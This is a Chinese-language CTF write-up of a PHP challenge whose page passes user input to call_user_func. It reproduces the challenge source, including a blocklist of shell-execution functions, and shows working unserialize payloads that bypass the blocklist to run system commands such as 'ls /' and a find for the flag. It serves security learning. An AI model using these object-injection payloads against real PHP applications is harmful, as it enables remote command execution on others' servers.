打开题目就看到一个PHP的报错信息，查看网页源代码也没有发现其他信息。页面还隔五秒就刷新一下，使用burp抓包看一下。
根据页面的报错信息和抓到的包来看，页面是执行了date函数，p的值是data函数内的值，试着执行一下cat / flag
提示Hacker，被过滤掉了。
试着读取一下页面的源码
这里贴上源码
<!DOCTYPE html>
<html>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
根据$disable_fun可以看到对$func的内容过滤了很多函数。
接着看到有一个Test函数，看到__destruct()就知道要进行反序列化。于是对Test函数进行序列化。
<?php
class Test{
var $p = "ls /";
var $func = "system";
}
$Test = new Test();
echo serialize($Test);
?>
得到payload：
O:4:"Test":2:{
s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
发现可以执行，接着构造新的payload，查找flag。
func=unserialize&p=O:4:"Test":2:{
s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
读取flag。
